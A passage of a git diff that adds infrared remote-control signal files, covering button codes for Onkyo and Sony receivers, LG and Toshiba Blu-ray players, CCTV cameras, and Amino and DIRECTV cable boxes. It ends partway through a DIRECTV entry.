+protocol: NECext +address: D2 6D 00 00 +command: 83 7C 00 00 +# +name: Left +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 84 7B 00 00 +# +name: Right +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 85 7A 00 00 +# +name: Vol_up +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 02 FD 00 00 +# +name: Vol_down +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 03 FC 00 00 +# +name: Mute +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 05 FA 00 00 +# +name: Enter +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 97 68 00 00 +# +name: Mode +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D3 2C 00 00 diff --git a/assets/resources/infrared/Audio Receivers/Onkyo/Onkyo_RC627S.ir b/assets/resources/infrared/Audio Receivers/Onkyo/Onkyo_RC627S.ir new file mode 100644 index 000000000..bb245938e --- /dev/null +++ b/assets/resources/infrared/Audio Receivers/Onkyo/Onkyo_RC627S.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: On +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 04 FB 00 00 +# +name: Standby +type: parsed +protocol: NECext +address: D2 04 00 00 +command: 47 B8 00 00 +# +name: VolUp +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 02 FD 00 00 +# +name: VolDown +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 03 FC 00 00 +# +name: InputUp +type: parsed +protocol: NECext +address: D2 04 00 00 +command: 1E E1 00 00 +# +name: InputDown +type: parsed +protocol: NECext +address: D2 04 00 00 +command: 1F E0 00 00 +# +name: Muting +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 05 FA 00 00 +# +name: Dimmer +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 95 6A 00 00 +# +name: Display +type: parsed +protocol: NECext +address: D2 04 00 00 +command: 55 AA 00 00 +# +name: Play +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 1B E4 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 1F E0 00 00 +# +name: Stop +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 1C E3 00 00 +# +name: Rewind +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 8B 74 00 00 +# +name: FF +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 8A 75 00 00 +# +name: Back +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 1E E1 00 00 +# +name: Forward +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 1D E2 00 00 +# +name: Random +type: parsed +protocol: NECext +address: D2 04 00 00 +command: 57 A8 00 00 +# +name: Repeat +type: parsed +protocol: NECext +address: D2 04 00 00 +command: 56 A9 00 00 +# +name: Scroll +type: parsed +protocol: NECext +address: D2 04 00 00 +command: 12 ED 00 00 +# +name: PlaylistUp +type: parsed +protocol: NECext +address: D2 09 00 00 +command: 52 AD 00 00 +# +name: PlaylistDn +type: parsed +protocol: NECext +address: D2 09 00 00 +command: 53 AC 00 00 +# +name: AlbumUp +type: parsed +protocol: NECext +address: D2 09 00 00 +command: 50 AF 00 00 +# +name: AlbumDn +type: parsed +protocol: NECext +address: D2 09 00 00 +command: 51 AE 00 00 +# +name: Band +type: parsed +protocol: NECext +address: D2 04 00 00 +command: 8A 75 00 00 +# +name: FMMode +type: parsed +protocol: NECext +address: D2 09 00 00 +command: D3 2C 00 00 +# +name: PresetUp +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 00 FF 00 00 +# +name: PresetDn +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 01 FE 00 00 +# +name: TuningUp +type: parsed +protocol: NECext +address: D2 09 00 00 +command: 40 BF 00 00 +# +name: TuningDn +type: parsed +protocol: NECext +address: D2 09 00 00 +command: 41 BE 00 00 +# +name: PlayMode +type: parsed +protocol: NECext +address: D2 04 00 00 +command: 08 F7 00 00 +# +name: GroupSearch +type: parsed +protocol: NECext +address: D2 04 00 00 +command: 81 7E 00 00 +# +name: Memory +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 49 B6 00 00 +# +name: Enter +type: parsed +protocol: NECext +address: D2 04 00 00 +command: 46 B9 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: D2 03 00 00 +command: D5 2A 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: D2 03 00 00 +command: D6 29 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: D2 03 00 00 +command: D7 28 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: D2 03 00 00 +command: D8 27 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: D2 03 00 00 +command: D9 26 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: D2 03 00 00 +command: DA 25 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: D2 03 00 00 +command: DB 24 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: D2 03 00 00 +command: DC 23 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: D2 03 00 00 +command: DD 22 00 00 +# +name: GT10 +type: parsed +protocol: NECext +address: D2 03 00 00 +command: DF 20 00 00 +# +name: 10_0 +type: parsed +protocol: NECext +address: D2 03 00 00 +command: DE 21 00 00 +# +name: CLR +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 9E 61 00 00 diff --git a/assets/resources/infrared/Audio Receivers/Sony/Sony_MHC-GS300AV.ir b/assets/resources/infrared/Audio Receivers/Sony/Sony_MHC-GS300AV.ir new file mode 100644 index 000000000..ab7a355d2 --- /dev/null +++ b/assets/resources/infrared/Audio Receivers/Sony/Sony_MHC-GS300AV.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# Sony RM-SGS3 (for MHC-GS300AV) +name: Sleep +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 60 00 00 00 +# +name: Balance Left +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 26 00 00 00 +# +name: Balance Right +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 27 00 00 00 +# +name: Power +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 15 00 00 00 +# +name: Center + +type: parsed +protocol: SIRC15 +address: 90 00 00 00 +command: 54 00 00 00 +# +name: Center - +type: parsed +protocol: SIRC15 +address: 90 00 00 00 +command: 55 00 00 00 +# +name: Rear + +type: parsed +protocol: SIRC15 +address: 90 00 00 00 +command: 4E 00 00 00 +# +name: Rear - +type: parsed +protocol: SIRC15 +address: 90 00 00 00 +command: 4F 00 00 00 +# +name: Game +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 7C 00 00 00 +# +name: Tape +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 23 00 00 00 +# +name: Display +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 4B 00 00 00 +# +name: Tuning + +type: parsed +protocol: SIRC20 +address: 3A 07 00 00 +command: 34 00 00 00 +# +name: Preset + +type: parsed +protocol: SIRC20 +address: 3A 07 00 00 +command: 31 00 00 00 +# +name: Album + +type: parsed +protocol: SIRC15 +address: 11 00 00 00 +command: 67 00 00 00 +# +name: Disc + +type: parsed +protocol: SIRC15 +address: 11 00 00 00 +command: 3E 00 00 00 +# +name: Preset EQ +type: parsed +protocol: SIRC15 +address: 90 00 00 00 +command: 6E 00 00 00 +# +name: Groove +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 7A 00 00 00 +# +name: Vol + +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 12 00 00 00 +# +name: Vol - +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 13 00 00 00 +# +name: Surround +type: parsed +protocol: SIRC15 +address: 90 00 00 00 +command: 40 00 00 00 +# +name: Disc - +type: parsed +protocol: SIRC15 +address: 11 00 00 00 +command: 3D 00 00 00 +# +name: Album - +type: parsed +protocol: SIRC15 +address: 11 00 00 00 +command: 66 00 00 00 +# +name: Tuning - +type: parsed +protocol: SIRC20 +address: 3A 07 00 00 +command: 33 00 00 00 +# +name: Preset - +type: parsed +protocol: SIRC20 +address: 3A 07 00 00 +command: 30 00 00 00 +# +name: Play +type: parsed +protocol: SIRC20 +address: 3A 07 00 00 +command: 32 00 00 00 +# +name: Pause +type: parsed +protocol: SIRC20 +address: 3A 07 00 00 +command: 39 00 00 00 +# +name: Stop +type: parsed +protocol: SIRC20 +address: 3A 07 00 00 +command: 38 00 00 00 +# +name: Tuner/Band +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 0F 00 00 00 +# +name: CD +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 25 00 00 00 +# +name: Test Tone +type: parsed +protocol: SIRC15 +address: 90 00 00 00 +command: 4A 00 00 00 +# +name: 5.1 ch +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 7D 00 00 00 +# +name: Video (MD) +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 22 00 00 00 +# +name: Pro Logic +type: parsed +protocol: SIRC15 +address: 90 00 00 00 +command: 42 00 00 00 diff --git a/assets/resources/infrared/Blu-Ray/LG/LG_BlueRay.ir b/assets/resources/infrared/Blu-Ray/LG/LG_BlueRay.ir new file mode 100644 index 000000000..83687a837 --- /dev/null +++ b/assets/resources/infrared/Blu-Ray/LG/LG_BlueRay.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 30 00 00 00 +# +name: Eject +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 36 00 00 00 +# +name: Pause +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 38 00 00 00 +# +name: Play +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 31 00 00 00 +# +name: Stop +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 39 00 00 00 +# +name: Forward +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 33 00 00 00 +# +name: Backward +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 32 00 00 00 +# +name: Chptr_next +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 34 00 00 00 +# +name: Chpter_back +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 35 00 00 00 +# +name: Title_popup +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 4A 00 00 00 +# +name: Info_menu +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 3A 00 00 00 +# +name: Home +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 67 00 00 00 +# +name: Up +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 47 00 00 00 +# +name: Down +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 48 00 00 00 +# +name: Left +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 59 00 00 00 +# +name: Right +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 5A 00 00 00 +# +name: Enter +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 58 00 00 00 +# +name: Disc_menu +type: parsed +protocol: Samsung32 +address: 2D 00 00 00 +command: 4B 00 00 00 diff --git a/assets/resources/infrared/Blu-Ray/Toshiba/Toshiba_SE-R0398.ir b/assets/resources/infrared/Blu-Ray/Toshiba/Toshiba_SE-R0398.ir new file mode 100644 index 000000000..984c075de --- /dev/null +++ b/assets/resources/infrared/Blu-Ray/Toshiba/Toshiba_SE-R0398.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: C0 3F 00 00 +# +name: Setup +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 20 DF 00 00 +# +name: Eject +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: C1 3E 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 21 DE 00 00 +# +name: Up +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 80 7F 00 00 +# +name: Down +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 81 7E 00 00 +# +name: Left +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 51 AE 00 00 +# +name: Right +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 4D B2 00 00 +# +name: Return +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 22 DD 00 00 +# +name: Menu +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 84 7B 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 16 E9 00 00 +# +name: Topmenu +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: DE 21 00 00 +# +name: Play +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: C2 3D 00 00 +# +name: Stop +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 14 EB 00 00 +# +name: Back +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 23 DC 00 00 +# +name: Forward +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 24 DB 00 00 +# +name: Rewind +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 19 E6 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 13 EC 00 00 +# +name: MC +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: C5 3A 00 00 +# +name: Audio +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 27 D8 00 00 +# +name: Subtitle +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 28 D7 00 00 +# +name: PIPAudio +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 39 C6 00 00 +# +name: Angle +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 29 D6 00 00 +# +name: Clear +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: EF 10 00 00 +# +name: Search +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 26 D9 00 00 +# +name: Repeat +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 2B D4 00 00 +# +name: AB +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 2C D3 00 00 +# +name: HDMI +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 9F 60 00 00 +# +name: OSC +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 10 EF 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: C3 3C 00 00 +# +name: Program +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 34 CB 00 00 +# +name: Digest +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 35 CA 00 00 +# +name: Zoom +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 37 C8 00 00 +# +name: Bookmark +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 36 C9 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 01 FE 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 02 FD 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 03 FC 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 04 FB 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 05 FA 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 06 F9 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 07 F8 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 08 F7 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 09 F6 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 0A F5 00 00 +# +name: Next +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 0D F2 00 00 diff --git a/assets/resources/infrared/CCTV/BrandUnknown/Szxlcom_cams.ir b/assets/resources/infrared/CCTV/BrandUnknown/Szxlcom_cams.ir new file mode 100644 index 000000000..df3e12e73 --- /dev/null +++ b/assets/resources/infrared/CCTV/BrandUnknown/Szxlcom_cams.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: SIRC15 +address: D4 00 00 00 +command: 15 00 00 00 +# +name: Pan_up +type: parsed +protocol: SIRC20 +address: 3A 0A 00 00 +command: 1A 00 00 00 +# +name: Pan_down +type: parsed +protocol: SIRC20 +address: 3A 0A 00 00 +command: 1B 00 00 00 +# +name: Pan_left +type: parsed +protocol: SIRC20 +address: 3A 0A 00 00 +command: 1D 00 00 00 +# +name: Pan_right +type: parsed +protocol: SIRC20 +address: 3A 0A 00 00 +command: 1C 00 00 00 +# +name: Zoom_in_slw +type: parsed +protocol: SIRC15 +address: D4 00 00 00 +command: 1A 00 00 00 +# +name: Zoom_out_slow +type: parsed +protocol: SIRC15 +address: D4 00 00 00 +command: 1B 00 00 00 +# +name: Zoom_in_fast +type: parsed +protocol: SIRC15 +address: D4 00 00 00 +command: 1C 00 00 00 +# +name: Zoom_out_fast +type: parsed +protocol: SIRC15 +address: D4 00 00 00 +command: 1D 00 00 00 +# +name: Focus_far +type: parsed +protocol: SIRC15 +address: D4 00 00 00 +command: 22 00 00 00 +# +name: Focus_near +type: parsed +protocol: SIRC15 +address: D4 00 00 00 +command: 23 00 00 00 +# +name: Auto_focus +type: parsed +protocol: SIRC15 +address: D4 00 00 00 +command: 1E 00 00 00 +# +name: Menu +type: parsed +protocol: SIRC20 +address: 3A 0A 00 00 +command: 14 00 00 00 diff --git a/assets/resources/infrared/CCTV/MarshallElectronics/Marshall_CV610.ir b/assets/resources/infrared/CCTV/MarshallElectronics/Marshall_CV610.ir new file mode 100644 index 000000000..82964133d --- /dev/null +++ b/assets/resources/infrared/CCTV/MarshallElectronics/Marshall_CV610.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 1B 00 00 00 +# +name: Pan_up +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 05 00 00 00 +# +name: Pan_down +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 0D 00 00 00 +# +name: Pan_right +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 0A 00 00 00 +# +name: Pan_left +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 08 00 00 00 +# +name: Zoom_in +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 41 00 00 00 +# +name: Zoom_out +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 1E 00 00 00 +# +name: Menu +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 43 00 00 00 +# +name: 1 +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 0C 00 00 00 +# +name: 2 +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 0E 00 00 00 +# +name: 4 +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 10 00 00 00 +# +name: 5 +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 12 00 00 00 +# +name: 7 +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 14 00 00 00 +# +name: 8 +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 19 00 00 00 +# +name: 9 +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 16 00 00 00 +# +name: 0 +type: parsed +protocol: NEC +address: 44 00 00 00 +command: 1D 00 00 00 diff --git a/assets/resources/infrared/Cable Boxes/Amino/Amino_Amigo.ir b/assets/resources/infrared/Cable Boxes/Amino/Amino_Amigo.ir new file mode 100644 index 000000000..3bcdc1fd9 --- /dev/null +++ b/assets/resources/infrared/Cable Boxes/Amino/Amino_Amigo.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2677 903 422 466 421 467 430 901 424 880 1374 902 423 464 423 465 422 466 421 467 430 457 430 458 867 909 426 462 425 463 424 464 871 460 427 461 426 462 425 907 867 465 422 910 874 458 429 902 423 465 422 466 431 457 430 458 867 465 422 909 427 462 425 +# +name: Home +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2675 905 420 467 430 458 429 903 422 909 1345 904 421 466 431 457 430 458 429 459 428 460 427 462 873 902 423 465 422 466 421 467 869 463 424 464 423 909 426 461 874 458 429 903 871 461 426 906 429 459 428 460 427 461 874 458 429 875 450 465 422 467 430 +# +name: Info +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2673 907 428 460 427 461 426 906 429 875 1368 907 428 459 428 461 426 462 425 463 424 464 423 465 870 905 430 458 429 459 428 460 875 457 430 430 457 459 428 904 870 463 424 907 867 466 431 900 425 464 423 465 422 466 421 467 868 464 423 465 422 466 421 +# +name: Apps +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2676 877 448 467 430 458 429 903 422 909 1345 904 421 467 430 458 429 459 428 460 427 461 426 462 873 903 422 466 421 467 430 458 867 465 422 466 421 911 424 463 872 460 427 905 869 463 424 908 427 461 874 901 873 903 871 906 429 458 428 +# +name: Guide +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2678 902 423 464 423 465 422 883 453 879 1365 911 424 463 424 436 451 465 422 466 421 467 430 458 867 880 456 460 427 461 426 462 873 431 456 460 427 461 426 878 896 436 451 881 893 439 458 874 451 436 900 905 431 457 868 436 451 881 455 461 426 +# +name: Up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2676 904 422 466 421 467 430 901 424 880 1375 873 453 463 424 464 423 437 450 438 449 439 458 457 868 907 429 459 428 460 427 433 893 467 430 457 430 874 452 437 899 460 427 877 897 463 424 880 456 432 894 910 875 429 458 874 451 464 423 465 422 +# +name: Left +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2676 904 421 466 421 467 430 901 424 908 1347 901 424 463 424 464 423 465 422 466 421 466 421 439 897 907 429 459 428 460 427 433 892 467 430 430 457 458 429 875 899 461 426 906 868 463 424 880 456 432 894 910 875 457 430 874 900 904 421 69083 2677 904 421 466 421 467 430 901 424 907 1348 901 424 463 424 464 423 437 450 465 422 466 421 467 869 879 457 459 428 460 427 461 864 439 458 430 457 431 456 876 898 461 426 878 896 436 451 908 428 460 865 911 874 430 457 903 871 877 448 69084 2676 904 421 466 421 467 430 874 451 880 1375 901 424 463 424 436 451 437 450 466 421 467 430 457 868 908 428 432 455 460 427 461 875 457 430 458 429 431 456 876 898 433 454 906 868 436 451 880 456 460 865 883 902 458 429 875 899 904 422 +# +name: Ok +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2669 911 425 463 424 436 451 908 428 876 1368 908 428 460 427 461 426 462 425 462 425 463 424 464 872 876 449 467 430 429 458 458 867 464 423 465 422 910 426 462 874 458 429 875 899 433 454 878 458 457 868 880 894 466 421 466 431 873 452 435 452 69081 2675 905 420 467 430 457 430 874 451 909 1346 902 423 464 423 465 422 466 421 467 430 457 430 430 895 881 455 460 427 433 454 462 874 458 429 459 428 876 449 466 870 434 453 907 867 465 422 882 454 462 874 902 872 459 428 460 427 905 431 429 458 69075 2671 909 427 461 426 434 453 879 457 875 1369 879 457 458 429 432 455 432 455 433 454 434 453 462 874 902 423 437 450 438 449 439 897 462 425 463 424 881 455 460 865 467 430 873 901 459 428 876 449 466 870 906 868 464 423 465 422 882 454 434 453 +# +name: Right +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2677 904 421 466 421 467 430 901 424 908 1346 873 452 436 451 437 450 465 422 466 421 439 458 457 868 880 456 432 455 461 426 462 874 458 429 459 428 432 455 877 897 435 452 879 895 465 422 882 454 462 874 902 872 432 455 877 897 462 425 69524 2669 911 425 463 424 463 424 880 456 904 1340 880 456 460 427 433 454 462 425 435 452 463 424 464 872 877 448 439 458 457 430 430 895 465 422 438 449 466 431 901 873 431 456 903 871 461 426 906 430 430 895 909 865 466 431 901 873 459 428 69520 2673 907 429 459 428 460 427 877 459 873 1371 905 431 429 458 458 429 459 428 460 427 461 426 461 875 902 423 436 451 465 422 438 898 462 425 463 424 464 423 908 866 439 458 901 873 459 428 904 421 466 870 906 868 464 423 909 865 466 421 +# +name: Down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2678 902 423 464 423 465 422 882 454 906 1338 910 426 462 425 463 424 464 423 465 422 438 449 467 869 907 429 459 428 460 427 461 875 457 430 458 429 875 450 466 870 462 425 907 867 437 450 882 454 434 902 902 872 460 427 877 459 457 868 +# +name: Back +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2673 907 429 459 428 460 427 905 420 911 1343 905 431 457 430 458 429 459 428 460 427 461 426 462 874 902 423 464 423 465 422 466 870 435 452 463 424 464 423 881 893 467 430 901 873 459 428 904 421 467 430 457 430 430 457 459 428 460 427 433 903 457 430 diff --git a/assets/resources/infrared/Cable Boxes/DIRECTV/DIRECTV.ir b/assets/resources/infrared/Cable Boxes/DIRECTV/DIRECTV.ir new file mode 100644 index 000000000..c8098b59c --- /dev/null +++ b/assets/resources/infrared/Cable Boxes/DIRECTV/DIRECTV.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: Power_on +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 177 7806 174 1352 177 2284 181 2311 175 2318 179 5309 174 2319 178 2316 181 3809 176 3815 180 6803 178 2315 182 6801 180 3809 176 8324 176 7804 177 3813 172 2321 176 2318 179 5308 175 2318 179 2315 182 3808 177 3813 182 6801 180 2313 173 6809 172 3818 177 8322 178 7802 178 3811 174 2320 177 2316 181 5306 177 2316 181 2313 173 3817 178 3811 174 6809 172 2321 176 6807 175 3815 180 +# +name: Power_off +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 182 7800 180 3810 201 2291 180 2316 181 5306 177 2316 181 2313 173 3818 177 2313 173 2322 175 6808 173 2320 177 6807 174 11315 182 7801 179 3811 174 2319 178 2316 181 5306 177 2316 181 2313 173 3817 178 2315 182 2312 174 6809 172 2321 176 18297 181 7801 179 3810 175 2319 178 2316 181 7800 180 2313 173 6311 181 2312 174 9303 175 +# +name: Guide +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 175 7808 172 3818 177 2316 180 2313 173 6810 181 2312 174 3817 178 3811 173 6807 174 2321 176 2319 178 5308 175 3816 179 8320 180 7800 180 3810 174 2319 178 2316 180 9296 182 3808 177 3814 181 9296 172 2321 176 5311 182 3808 176 8322 178 7803 177 3812 172 2321 176 2318 179 6805 176 2317 179 3810 175 3815 180 6803 178 2316 180 2313 173 5313 180 3810 175 8324 176 7805 175 3814 181 2313 173 2320 177 6806 175 2318 179 3812 172 3817 178 6805 176 2317 180 2314 182 5304 179 3811 173 8326 174 7806 174 3816 179 2315 182 2312 174 6809 172 2321 176 3815 180 3810 174 9302 176 2317 179 5307 176 3814 181 8318 182 7798 182 3809 176 2317 179 2315 181 9295 173 3817 178 3812 172 9304 174 2319 178 5309 174 3816 179 +# +name: Exit +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 173 7807 173 8807 172 16321 181 4291 172 9803 175 2301 175 13811 172 7810 181 8797 182 19287 180 1316 182 9776 181 2314 172 13812 182 7801 179 8798 181 19288 179 1317 181 4806 177 4793 180 2316 180 13803 180 7802 178 6306 176 2318 179 12306 179 1317 181 2313 173 1323 175 1321 177 1319 179 2315 182 2312 174 2301 175 2320 177 2317 179 13805 178 7804 176 6308 173 2320 176 12309 176 1320 178 2316 180 1315 172 1324 174 1322 176 2318 179 2297 179 2316 180 2313 173 2321 176 13808 175 7807 173 3817 178 2315 181 2312 174 9802 176 2317 179 3811 173 6809 182 2311 175 2319 177 2316 180 2313 173 5313 180 8319 181 7800 180 3810 174 2319 177 2316 180 12287 177 13290 173 2323 174 2319 177 2316 180 +# +name: Menu +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 175 7808 182 3809 175 2317 179 2314 172 8307 172 6811 180 6803 178 2315 181 2312 174 2319 178 3812 183 2312 174 2318 179 8321 179 7802 178 3812 172 2321 176 2317 179 8300 179 6804 177 6806 175 2318 178 2316 180 2313 173 3816 179 2315 181 2313 173 8325 175 7806 174 3816 179 2315 182 2312 174 8305 175 6808 173 6809 182 2311 175 2319 178 2316 180 3809 175 2318 179 2315 182 8317 183 7798 182 3808 177 2317 179 2314 182 8297 172 6811 180 6802 179 2315 181 2312 174 2319 178 3813 182 2311 175 2319 178 8321 179 7802 178 3812 172 2321 176 2318 178 8300 179 6804 177 6806 175 2318 178 2315 182 2312 174 3816 179 2315 181 2312 174 8325 175 7805 175 3815 180 2314 172 2321 175 8304 176 6807 174 6809 172 2321 175 2318 179 2315 182 3808 177 2317 179 2314 172 +# +name: Info +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 180 7803 177 8801 178 10295 182 2313 173 12329 177 21755 177 7805 175 6308 173 2321 176 10299 178 2315 181 34253 175 7807 173 6311 181 2313 173 7807 173 2321 175 2318 178 14783 178 10795 181 8320 180 7800 180 6305 176 2317 180 7801 179 2315 181 2312 174 12311 174 2302 174 10799 177 8324 175 7805 175 3815 180 2314 172 2321 175 7805 175 2319 178 2316 180 12305 180 2296 180 10793 173 8329 181 7799 181 6303 178 2315 181 7799 181 2312 174 2320 177 14785 176 10815 182 8299 180 7803 177 6307 174 2319 177 7803 177 2317 179 2314 172 14808 174 2818 178 1318 180 1316 182 4806 177 +# +name: Up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 177 7806 174 6310 182 2311 175 6309 172 11797 178 17279 179 11312 174 7809 